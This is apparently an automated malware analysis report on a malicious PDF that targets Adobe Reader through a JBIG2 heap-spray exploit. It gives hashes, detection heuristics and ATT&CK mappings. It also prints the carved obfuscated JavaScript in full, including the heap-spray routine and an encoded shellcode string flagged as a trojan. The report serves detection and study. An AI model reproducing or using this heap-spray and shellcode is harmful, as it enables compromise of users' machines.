Malicious PDF — malware analysis report

Static analysis result for SHA-256 0491e4e3a96381dc…

MALICIOUS

PDF

6.9 KB First seen: 2013-06-03
MD5: f7b187be434ebba9cb0bac58d6b39bd8 SHA-1: 7d241657a7747d0ab1906eedf789f688d0ff140f SHA-256: 0491e4e3a96381dc11c008a3cc4e3ffc639155b3ce2c9d86abafe1aae488c7ad
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains obfuscated JavaScript that utilizes the unescape function, indicative of a heap spray exploit targeting Adobe Reader. The presence of the CVE-2009-0658_GENERIC_SPRAY heuristic and ClamAV detection for a trojan shellcode strongly suggests this file is malicious. The embedded JavaScript is designed to download and execute a second-stage payload, a common technique for initial compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var kBubMtlfUZBR = "";
  var SrxbIAoxplKtJQtfXsJp = unescape("%u1cb5%u422f%u7cb9%u2147%u46e1%u3f48%u7896%u4140%ub491%ud585%uf56b%u2c97%u0b0c%u15d6%u9f4b%ue008%u1170%u73e3%u1474%ub8b1%ub0a8%u2705%u3576%ufc38%u7eb3%uf61a%u1dd4%u7f7b%u3c2d%ua967%u8890%ub7f9%u99be%ubf37%u24b2%u0d43%uf831%u4993%u4ab7%ub0bf%u7735%u0c67%u7176%u9740%u153c%u4f9b%u41be%ue201%u3d7c%u0493%u481d%u7947%u307d%uc0ff%u2fe1%ufc69%u4298%u6699%u14a8%ud68c%u7bb4%ub334%u2275%u4ed5%ueb18%ue312%u7a78%u4b73%u0a74%ub6d4%u37a9%ue080%u2c2d%u3296%u8df5%u4970%uba9 …
  var p = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x21A 5505 bytes
SHA-256: 1b373d02d61cc5820141ae7e6e88ae3209f8afbb8b01c99279de84a4ab3a5e87
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 12 of 17 identifiers look randomly generated (e.g. 'BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var HDhfXWcIXV = "";
		var kBubMtlfUZBR = "";
		var SrxbIAoxplKtJQtfXsJp = unescape("%u1cb5%u422f%u7cb9%u2147%u46e1%u3f48%u7896%u4140%ub491%ud585%uf56b%u2c97%u0b0c%u15d6%u9f4b%ue008%u1170%u73e3%u1474%ub8b1%ub0a8%u2705%u3576%ufc38%u7eb3%uf61a%u1dd4%u7f7b%u3c2d%ua967%u8890%ub7f9%u99be%ubf37%u24b2%u0d43%uf831%u4993%u4ab7%ub0bf%u7735%u0c67%u7176%u9740%u153c%u4f9b%u41be%ue201%u3d7c%u0493%u481d%u7947%u307d%uc0ff%u2fe1%ufc69%u4298%u6699%u14a8%ud68c%u7bb4%ub334%u2275%u4ed5%ueb18%ue312%u7a78%u4b73%u0a74%ub6d4%u37a9%ue080%u2c2d%u3296%u8df5%u4970%uba91%u207e%u25f9%u103f%u24f8%u467f%u90b5%u27b1%u0072%u05fd%u43b8%u92b9%ubb0d%u1c9f%u46b2%u3f35%ud103%u79e1%u7475%u7c7b%u3776%u234f%ubbfc%u1597%ud486%ud089%u48e3%ud383%u3deb%ub4b7%ud52a%ub9bf%u2991%u40e2%u4a2d%u490d%u7a67%u417f%ufe84%uc1c7%ub0f9%u1378%u3bf8%u43f5%ud628%u81be%ub2fd%ua904%u2773%uba96%u9934%u3c7e%u4b42%u922c%u904e%u2f93%u2577%ub366%u711d%u3970%u1ce0%u989b%u0524%ub8b1%u7d72%ua814%u9f0c%u478d%ub5b6%u8737%uebd2%u3a73%u33e2%u99fc%uba3c%u27b7%u912c%u4097%u9841%u66a8%u1943%u2be1%u49d4%ue309%u472f%u0c76%u2d7b%u77bb%u7d67%ub04f%u0d90%u3f48%u3515%u7875%u341c%u9624%ubfa9%u704a%u7c74%u8904%u10e0%ub3f5%u2872%u92d5%ud63b%u4693%u7f9f%u0b79%u7afd%u8d05%u14b8%ub49b%u4b7e%ube4e%u013d%uf9d3%ub1b9%u71b5%ub61d%u25b2%u1942%ub7f8%u0598%u7fba%ue139%u432c%u924a%u4b7c%u1d04%u7e71%ubf35%u3f2f%u8641%u2dd4%u9b3c%ua9be%ud681%uf780%u46e3%u72a8%u913d%u90b9%u7d70%u780d%u7574%u7640%u3314%uf9d1%u9649%u128d%u1cfd%u9342%ub2b3%uf838%ub466%u25bb%u110c%ue0f6%ufc1b%u73b6%u9915%u677a%u3437%u9f24%ud523%ub8b1%uf569%u274e%u97b0%u77b5%u4f7b%ue229%ueb3a%u7948%u7d47%u7977%u8337%u8cf8%u25e0%u9842%ueb84%ud220%ufcc0%u7390%u7f7c%u7e0d%u921c%u7476%u4078%u9948%u9196%u34b9%u4e04%u9fb5%ub64a%ub2ba%ub8b3%u028d%u46d5%u14b1%u087b%u67e3%ue100%u7a71%u4f4b%u850c%u72e2%u931d%u6b70%u2dfd%ub441%u4905%u3097%u9bf5%u43bb%u3f35%u753d%ub766%u7915%u3c71%u4775%u72a8%u7e24%ud403%ubfa9%u277f%u1a7d%u73f9%u762c%ud632%u7cbe%uc122%u2fe1%ua8b0%u7091%ube3f%ud588%ufd13%ue298%u472d%u7834%ubf05%u66b1%u354a%ub8b6%u0a0c%u2be3%u77d4%u3d27%u3146%u21e0%uf8d0%u4e42%ub3b4%u047a%u1c74%u187b%u92d6%u4b43%u9b0d%u37a9%u14eb%u9f3c%u251d%uf990%u8d2f%u97b7%u404f%u67f5%uba93%ub996%u48b0%u99bb%u41b2%u2a15%u24fc%ub52c%uda49%ubfd3%u8db1%ua1b0%u74d9%uf424%u2b5e%ub1c9%u3149%u197e%uc683%u0304%u157e%u7853%u494c%u831a%u8aad%u0d7c%ubb48%u69ae%uee18%uf97e%u034c%uaff5%u9064%u787b%u118a%u5e31%ua2a5%u5ef4%u6069%u2297%ub570%u1a77%uc8bb%u5b76%u23a6%u342a%u96ac%u31da%u2af0%u95db%u127e%u90a3%ue741%u9a19%u5891%ud416%ud209%uc570%u3728%u3963%u3c62%uc957%u9475%u32a6%ud844%u0d64%ud568%u4975%u064f%ua100%ubbb3%u7212%u67c9%u6797%ue369%u4c0f%u208b%u07c9%u8d87%u409e%u1084%ufb73%u99b0%u2c72%ud931%ue850%ub919%ua9f9%u6cc7%ua906%ud1a0%ua1a2%u0543%uebd4%uea0b%u13ea%u64cc%u677d%u2bfe%uefd5%ua4b2%ue8f3%u9eb5%u6643%u2148%uaeb3%u758f%ud8e3%uf626%u1968%u23c6%u493e%u9c68%u39fe%u4cc8%u5396%ub3c7%u5b86%udc0d%ua12c%u23c6%ua818%ucc72%uab5a%u6500%u4dd3%u659e%uc6b5%u1f37%u9d9c%ue0a6%ud80b%u6be9%u1cbf%u9ba7%u0eca%u6c50%u6d81%u73f7%u1b3c%ue1f8%u8aba%u9daf%uebc0%u0198%ude3b%u8892%ua1a9%uf4cc%u223d%ua30d%u2257%u1365%u7103%u5c90%ue59e%uc909%u5c20%u5afd%u6248%uadd8%u9dd7%u2c0f%u4824%uaa76%ufe5c%u769a");
		var p = "";

		for (wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV=128;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV>=0;--wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV) p += unescape("%u2f98%uf50a");
		xtwmnyEeltnjocmuTXfaziwhexrsvJvNEt = p + SrxbIAoxplKtJQtfXsJp;
		sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq = unescape("%u2f98%uf50a");
		LzWs = 20;
		BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQtvjTL = LzWs+xtwmnyEeltnjocmuTXfaziwhexrsvJvNEt.length
		while (sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq.length<BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQtvjTL) sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq+=sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq;
		SAEGntIfvVeMgWIZweRw = sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq.substring(0, BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQtvjTL);
		aBQIfwMuikRwynxdBFEbiF = sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq.substring(0, sMkytECCqcuqJkFyYFeVsYZexxgoPtfOOgupvKCTpAYq.length-BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQtvjTL);
		while(aBQIfwMuikRwynxdBFEbiF.length+BKZicuNorHvRhBQPPdJdtzciqAsOzeknvhXNGbQtvjTL < 0x40000) aBQIfwMuikRwynxdBFEbiF = aBQIfwMuikRwynxdBFEbiF+aBQIfwMuikRwynxdBFEbiF+SAEGntIfvVeMgWIZweRw;
		mtkTutqVlUukEYuJ = new Array();
		for (wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV=0;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV<100;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV++) mtkTutqVlUukEYuJ[wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV] = aBQIfwMuikRwynxdBFEbiF + xtwmnyEeltnjocmuTXfaziwhexrsvJvNEt;

		for (wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV=142;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV>=0;--wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV) kBubMtlfUZBR += unescape("%ub550%u0166");
		TNabxUwUGDozQvMaMortYmVoYXkVTPTSpRNebsy = kBubMtlfUZBR.length + 20
		while (kBubMtlfUZBR.length < TNabxUwUGDozQvMaMortYmVoYXkVTPTSpRNebsy) kBubMtlfUZBR += kBubMtlfUZBR;
		rhmuWFamTdmThpfIgfJmKCUmGiRAjEmYFZXi = kBubMtlfUZBR.substring(0, TNabxUwUGDozQvMaMortYmVoYXkVTPTSpRNebsy);
		hoC = kBubMtlfUZBR.substring(0, kBubMtlfUZBR.length-TNabxUwUGDozQvMaMortYmVoYXkVTPTSpRNebsy);
		while(hoC.length+TNabxUwUGDozQvMaMortYmVoYXkVTPTSpRNebsy < 0x40000) hoC = hoC+hoC+rhmuWFamTdmThpfIgfJmKCUmGiRAjEmYFZXi;
		JpAXQZDEgYUhoGyhladkJZbPuPxAXLml = new Array();
		for (wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV=0;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV<125;wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV++) JpAXQZDEgYUhoGyhladkJZbPuPxAXLml[wauxzrGicRZSsxOOoRePIXjothNhWeXmKzqV] = hoC + kBubMtlfUZBR;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x21A 1024 bytes
SHA-256: bd650ea15e7662dd5a8ea08e13469a1944c5fe25e6c12b3f6287b827c35ba158
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.